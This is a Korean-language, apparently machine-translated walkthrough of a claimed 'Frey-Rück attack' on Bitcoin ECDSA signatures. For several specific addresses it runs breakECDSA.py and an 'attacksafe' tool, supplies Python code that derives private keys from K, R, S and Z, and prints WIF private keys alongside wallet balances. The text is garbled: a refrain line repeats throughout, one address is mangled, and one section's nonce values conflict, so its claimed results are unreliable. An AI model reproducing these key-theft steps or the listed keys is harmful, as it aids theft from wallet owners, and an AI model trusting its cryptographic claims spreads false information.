BTC 코인을 잃을 수 있는 잠재적 위협은 비트코인 ​​블록체인 거래의 심각한 취약성으로 인해 발생하므로, 모든 사람이 항상 소프트웨어를 업데이트하고 검증된 장치만 사용할 것을 강력히 권장합니다.


 자세한 암호 분석을 통해 동일한 비트코인 ​​주소에 대해 e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393 에서 심각한 취약점을 발견했습니다.  TXID:


RawTX를 공격에 대비하세요


1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5

https://btc1.trezor.io/tx/e5bb4aba7dc061059ac163e2dd62b4b025454f5db85e4ec65f45edee97d91393
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
RawTX = 01000000015369985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c493046022100cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad842897501210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000

이제 우리는 모든 취약한 거래에서 모든 R, S, Z 값을 가져와야 합니다.

breakECDSA.py 스크립트를 사용해 보겠습니다.

python2 breakECDSA.py 01000000015369985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c493046022100cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad842897501210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
R = 0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8
S = 0xab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad8428975
Z = 0x9d568564500c4b9911ccd4dbb3865e0c9129f2697e9a710f575c63f5f22753b1

취약한 ECDSA 서명 거래에서 비밀 키를 얻으려면 데이터를  RawTX텍스트 문서에 추가하고 파일로 저장해 보겠습니다.RawTX.txt

01000000015369985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c493046022100cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad842897501210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000

-tool frey_ruck_attack소프트웨어를 사용하여 시작 “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

우리는 이 공격을 시작했으며  -tool frey_ruck_attack그 결과는 파일에 저장되었습니다.SecretKey.txt

이제 성공적인 결과를 보려면 파일을 여세요.SecretKey.txt

cat SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
Deployments ECDSA:

SecretKey = 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154

RawTX = 01000000015369985c4db3fc4fb6b7671a58f4858a20c11922b8a84cecdefd4687f105362a0e0000006c493046022100cda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8022100ab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad842897501210273376122cb37be518f8f47085978fda04eb7ced923b00d055b581b6fc2b179ffffffffff010000000000000000046a02585900000000

"Deployments ECDSA"우리는 비트코인 ​​블록체인 거래에 심각한 취약점이 있다는 것을 의미하는 문구를 봅니다  .

SecretKey value in HEX format, this is our secret key "K" (NONCE):

K = 0xa63d1fe332773809f41bc0d67262088d918a34a71444e30c19424c64b13e6e3c


Python  스크립트 로 확인해 보겠습니다. point2gen.py


ECPy 타원 곡선 라이브러리를 사용해 보겠습니다  .

이제 다음을 지정하여 스크립트를 실행해 보겠습니다  secret key "K" (NONCE).

python3 point2gen.py 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

(0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8 , 0x8ef495c9057b590ef5437f710ad585bccc4344a48feeeb28c33bff8b7154662)

EC (secp256k1) 시그니처 값으로 지점의 좌표 확인 R

R = 0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8
S = 0xab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad8428975
Z = 0x9d568564500c4b9911ccd4dbb3865e0c9129f2697e9a710f575c63f5f22753b1

R          =    0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8
point2gen  =   (0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8 , 0x8ef495c9057b590ef5437f710ad585bccc4344a48feeeb28c33bff8b7154662)

ALL CORRECT!

K = 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154

이제 비밀 키를 알았으므로 비트코인 ​​지갑의 개인 키를 얻을 수 있습니다.1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5


Python 스크립트를 사용해 보겠습니다   .   calculate.py > > > 개인 키 가져오기


코드를 열고 모든 서명 값을 추가해 보겠습니다.K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0xfe150813ba57b990dc7bfacbd3f6c8f6c78a3758789628bdb53808a7fb0d8154
R = 0xcda94253bf560fbb22c5dfd6b6d8d2f58d6401bfdca0a7e1dde84e3b2186b0e8
S = 0xab8ea68d18501eee92408390e9fffd5f5a5b029821f09f4a2914b84ad8428975
Z = 0x9d568564500c4b9911ccd4dbb3865e0c9129f2697e9a710f575c63f5f22753b1


print (h((((S * K) - Z) * modinv(R,N)) % N))

스크립트는 다음 공식을 사용하여 개인 키를 계산합니다.

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

스크립트를 실행해 보겠습니다.

python3 calculate.py
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

PrivKey = 4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82

bitaddress를 열어  확인해 보겠습니다.

ADDR: 1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5
WIF:  KysupQsbEPB7cEcUwpTpxdCAMTVLa9RjVtSzFZbrRV5pcNe2fk4Q
HEX:  4f539d49b23b87697b74e2f508d4260936e5f47856dae5090d4f5bde1b863a82
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

https://www.blockchain.com/btc/address/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5

Private Key Found!

비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
www.blockchain.com/btc/address/1HYDQRwXbvVYpmDn6kGJ6kjyewvtyz1CL5

BALANCE: $ 677.14


№3

자세한 암호 분석을 통해 우리는 또한 비트코인 ​​주소에서 심각한 취약점을 발견했습니다.

16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2

https://btc1.trezor.io/tx/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4
https://btc1.trezor.io/tx/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

RawTX를 공격에 대비하세요


16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2

https://btc1.trezor.io/tx/c393f6b4651ac109cf90476bab878df624a1867c616a8cd69d0710e7676cd6d4
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
RawTX = 0100000001994710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b483045022062786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143022100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000

이제 우리는 모든 취약한 거래에서 모든 R, S, Z 값을 가져와야 합니다.

breakECDSA.py 스크립트를 사용해 보겠습니다.

python2 breakECDSA.py 0100000001994710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b483045022062786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143022100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
R = 0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143
S = 0xb0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a
Z = 0xd423dca052d4c5b84cf9b847a0fb9ad192cb131da70e6b3770e6444e4b8e06d0

취약한 ECDSA 서명 거래에서 비밀 키를 얻으려면 데이터를  RawTX텍스트 문서에 추가하고 파일로 저장해 보겠습니다.RawTX.txt

0100000001994710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b483045022062786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143022100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000

-tool frey_ruck_attack소프트웨어를 사용하여 시작 “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

우리는 이 공격을 시작했으며  -tool frey_ruck_attack그 결과는 파일에 저장되었습니다.SecretKey.txt

이제 성공적인 결과를 보려면 파일을 여세요.SecretKey.txt

cat SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
Deployments ECDSA:

SecretKey = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce

RawTX = 0100000001994710097c3901265cc9a6d9efb9d1d3135ef86b627e345e10590455d8c532b9150000006b483045022062786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143022100b0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a01210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000

"Deployments ECDSA"우리는 비트코인 ​​블록체인 거래에 심각한 취약점이 있다는 것을 의미하는 문구를 봅니다  .

SecretKey value in HEX format, this is our secret key "K" (NONCE):

K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce


Python  스크립트 로 확인해 보겠습니다. point2gen.py


ECPy 타원 곡선 라이브러리를 사용해 보겠습니다  .

이제 다음을 지정하여 스크립트를 실행해 보겠습니다  secret key "K" (NONCE).

python3 point2gen.py 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

(0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143 , 0xe9c10b0f39c777469072719ca1981197061d58b4cbf354d60a0ebb63d5bf6125)

EC (secp256k1) 시그니처 값으로 지점의 좌표 확인 R

R = 0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143
S = 0xb0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a
Z = 0xd423dca052d4c5b84cf9b847a0fb9ad192cb131da70e6b3770e6444e4b8e06d0

R          =    0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143
point2gen  =   (0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143 , 0xe9c10b0f39c777469072719ca1981197061d58b4cbf354d60a0ebb63d5bf6125)

ALL CORRECT!

K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce

이제 비밀 키를 알았으므로 비트코인 ​​지갑의 개인 키를 얻을 수 있습니다.16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2


Python 스크립트를 사용해 보겠습니다   .   calculate.py > > > 개인 키 가져오기


코드를 열고 모든 서명 값을 추가해 보겠습니다.K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce
R = 0x62786f4af117771202ba326b468b074cf34946bc3a6605bf1cb4ebd832438143
S = 0xb0f6a7a99e2fa826507b7645f1c0d67213db699b2c2bb3df438b820e4c53a75a
Z = 0xd423dca052d4c5b84cf9b847a0fb9ad192cb131da70e6b3770e6444e4b8e06d0


print (h((((S * K) - Z) * modinv(R,N)) % N))

스크립트는 다음 공식을 사용하여 개인 키를 계산합니다.

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

스크립트를 실행해 보겠습니다.

python3 calculate.py
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

PrivKey = 4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1

bitaddress를 열어  확인해 보겠습니다.

ADDR: 16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
WIF:  KyptrwaRhaF7VCwnWo2FDMoRCj9KGvoESDGmxtRk7b65csxaU2aM
HEX:  4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

https://www.blockchain.com/btc/address/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2

Private Key Found!

비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
www.blockchain.com/btc/address/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2

BALANCE: $ 711.91


BTC 코인을 잃을 수 있는 잠재적 위협은 비트코인 ​​블록체인 거래의 심각한 취약성으로 인해 발생하므로, 모든 사람이 항상 소프트웨어를 업데이트하고 검증된 장치만 사용할 것을 강력히 권장합니다.


 자세한 암호 분석을 통해 동일한 비트코인 ​​주소에 대해 989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6 에서 심각한 취약점을 발견했습니다.  TXID:


RawTX를 공격에 대비하세요


16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2

https://btc1.trezor.io/tx/989ba4524367fbaf75e974a5ff2420d48ba32ebedb1416a0a36c3e575be350d6
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
RawTX = 0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b483045022015662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238022100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000

이제 우리는 모든 취약한 거래에서 모든 R, S, Z 값을 가져와야 합니다.

breakECDSA.py 스크립트를 사용해 보겠습니다.

python2 breakECDSA.py 0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b483045022015662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238022100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
R = 0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238
S = 0xc3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c30
Z = 0x560177d0444e4271e144501d614bc8f564f320196b2c7c47922e7f8e6664d0bc

취약한 ECDSA 서명 거래에서 비밀 키를 얻으려면 데이터를  RawTX텍스트 문서에 추가하고 파일로 저장해 보겠습니다.RawTX.txt

0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b483045022015662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238022100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000

-tool frey_ruck_attack소프트웨어를 사용하여 시작 “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

우리는 이 공격을 시작했으며  -tool frey_ruck_attack그 결과는 파일에 저장되었습니다.SecretKey.txt

이제 성공적인 결과를 보려면 파일을 여세요.SecretKey.txt

cat SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
Deployments ECDSA:

SecretKey = 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55

RawTX = 0100000001a48220a0fcc53f187abaaed77e1fb6e3fe870f2f77ecc26baf6ae2bb1cbbb3b2070000006b483045022015662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238022100c3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c3001210205ea35089d57f0282fab836217e5a702d8fa528cef078d60f523fec2ca9c2f50ffffffff010000000000000000046a02445300000000

"Deployments ECDSA"우리는 비트코인 ​​블록체인 거래에 심각한 취약점이 있다는 것을 의미하는 문구를 봅니다  .

SecretKey value in HEX format, this is our secret key "K" (NONCE)

K = 0xf228f3857bd39809d8de6ba8eeb4f21d2d7acc6156a972cd9a2baaa9f8f6a7ce


Python  스크립트 로 확인해 보겠습니다. point2gen.py


ECPy 타원 곡선 라이브러리를 사용해 보겠습니다  .

이제 다음을 지정하여 스크립트를 실행해 보겠습니다  secret key "K" (NONCE).

python3 point2gen.py 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

(0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238 , 0xfc2f3b91b19091745fb29d48725f1060ce4924624b01ff57f14b683430822c8a)

EC (secp256k1) 시그니처 값으로 지점의 좌표 확인 R

R = 0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238
S = 0xc3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c30
Z = 0x560177d0444e4271e144501d614bc8f564f320196b2c7c47922e7f8e6664d0bc

R          =    0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238
point2gen  =   (0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238 , 0xfc2f3b91b19091745fb29d48725f1060ce4924624b01ff57f14b683430822c8a)

ALL CORRECT!

K = 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55

이제 비밀 키를 알았으므로 비트코인 ​​지갑의 개인 키를 얻을 수 있습니다.16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2


Python 스크립트를 사용해 보겠습니다   .   calculate.py > > > 개인 키 가져오기


코드를 열고 모든 서명 값을 추가해 보겠습니다.K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0x58d6e63d9240827078edf802e475bb04cd889e7308e409623b1dc92e61e4fd55
R = 0x15662ae61310e08fc132428277ae851378adc0b82ee3246d860a0a1d35755238
S = 0xc3f838aca7d8a74904f341dd2394616e72f470cfd371fb52d30da146606c2c30
Z = 0x560177d0444e4271e144501d614bc8f564f320196b2c7c47922e7f8e6664d0bc


print (h((((S * K) - Z) * modinv(R,N)) % N))

스크립트는 다음 공식을 사용하여 개인 키를 계산합니다.

Privkey = ((((S * K) - Z) * modinv(R,N)) % N)

스크립트를 실행해 보겠습니다.

python3 calculate.py
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

PrivKey = 4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1

bitaddress를 열어  확인해 보겠습니다.

ADDR: 16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2
WIF:  KyptrwaRhaF7VCwnWo2FDMoRCj9KGvoESDGmxtRk7b65csxaU2aM
HEX:  4dc65ac1c7863c8a7a868f369b7a37ec1918d429fff3afbc97fcdf4b454fbfe1
디디디디

https://www.blockchain.com/btc/address/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2

Private Key Found!

디디디디
www.blockchain.com/btc/address/16CuW7dQfZ2TwT9ZAQrUFm5DP7P11w5Fp2

BALANCE: $ 711.91


№4

자세한 암호 분석을 통해 우리는 또한 비트코인 ​​주소에서 심각한 취약점을 발견했습니다.

12시2분2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q

https://btc1.trezor.io/tx/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542
https://btc1.trezor.io/tx/4ff10d8a7246f0c46acb9fefa6ea23497f6b7825307414ca3fc80bcbae9194af
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

RawTX를 공격에 대비하세요


12시2분2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q

https://btc1.trezor.io/tx/ac6259da5eb98bf11b5cda804175ac666ebd1b7118da51d206936b43cb368542
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
RawTX = 0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b4830450221009cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02445300000000

이제 우리는 모든 취약한 거래에서 모든 R, S, Z 값을 가져와야 합니다.

breakECDSA.py 스크립트를 사용해 보겠습니다.

python2 breakECDSA.py 0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b4830450221009cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02445300000000
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
R = 0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675
S = 0x4e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac
Z = 0xccbd1c0f0ef3f70fb985e64184014998a8435078b7bb75e51ca6ae1c37aa30e1

취약한 ECDSA 서명 거래에서 비밀 키를 얻으려면 데이터를  RawTX텍스트 문서에 추가하고 파일로 저장해 보겠습니다.RawTX.txt

0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b4830450221009cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02445300000000

-tool frey_ruck_attack소프트웨어를 사용하여 시작 “ATTACKSAFE SOFTWARE”


./attacksafe -tool frey_ruck_attack -open RawTX.txt -save SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

우리는 이 공격을 시작했으며  -tool frey_ruck_attack그 결과는 파일에 저장되었습니다.SecretKey.txt

이제 성공적인 결과를 보려면 파일을 여세요.SecretKey.txt

cat SecretKey.txt
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.
Deployments ECDSA:

SecretKey = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f

RawTX = 0100000001d5ecb7299d4005bc1c9bb2325de6428a882a6df8fefd74e740139a6b53bdb40e060000006b4830450221009cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f67502204e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac012103c1915f97b2480c478e6b1111ae03c29f55013351a126b7f0cfbab4a34f3c712bffffffff010000000000000000046a02445300000000

"Deployments ECDSA"우리는 비트코인 ​​블록체인 거래에 심각한 취약점이 있다는 것을 의미하는 문구를 봅니다  .

SecretKey value in HEX format, this is our secret key "K" (NONCE):

K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f


Python  스크립트 로 확인해 보겠습니다. point2gen.py


ECPy 타원 곡선 라이브러리를 사용해 보겠습니다  .

이제 다음을 지정하여 스크립트를 실행해 보겠습니다  secret key"K" (NONCE).

python3 point2gen.py 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f
비밀 키 "K"(NONCE)를 얻기 위해 Frey-Rück 공격을 구현합니다.

(0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675 , 0x79751db08bb33615fbdf6387f5f0f28c6702213eb20607e28760af1aaaeb273e)

EC (secp256k1) 시그니처 값으로 지점의 좌표 확인 R

R = 0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675
S = 0x4e8eaec16ebb4816d53cd08f882221c37db6aed27b5c77a0cb12455af91200ac
Z = 0xccbd1c0f0ef3f70fb985e64184014998a8435078b7bb75e51ca6ae1c37aa30e1

R          =    0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675
point2gen  =   (0x9cff5d8357756520391438c44415c706036e9e16d440cb8892e4b91423f0f675 , 0x79751db08bb33615fbdf6387f5f0f28c6702213eb20607e28760af1aaaeb273e)

ALL CORRECT!

K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f

이제 비밀 키를 알았으므로 비트코인 ​​지갑의 개인 키를 얻을 수 있습니다.12Pm2muhQKuVtAHwJzdaiSLRa9QxgLpx5Q


Python 스크립트를 사용해 보겠습니다   .   calculate.py > > > 개인 키 가져오기


코드를 열고 모든 서명 값을 추가해 보겠습니다.K, R, S, Z

def h(n):
    return hex(n).replace("0x","")

def extended_gcd(aa, bb):
    lastremainder, remainder = abs(aa), abs(bb)
    x, lastx, y, lasty = 0, 1, 1, 0
    while remainder:
        lastremainder, (quotient, remainder) = remainder, divmod(lastremainder, remainder)
        x, lastx = lastx - quotient*x, x
        y, lasty = lasty - quotient*y, y
    return lastremainder, lastx * (-1 if aa < 0 else 1), lasty * (-1 if bb < 0 else 1)

def modinv(a, m):
    g, x, y = extended_gcd(a, m)
    if g != 1:
        raise ValueError
    return x % m
    
N = 0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141


K = 0x459733bf6c7972a0d894fe84e14b06803405e82d8fd1572d3376ff99049def4f
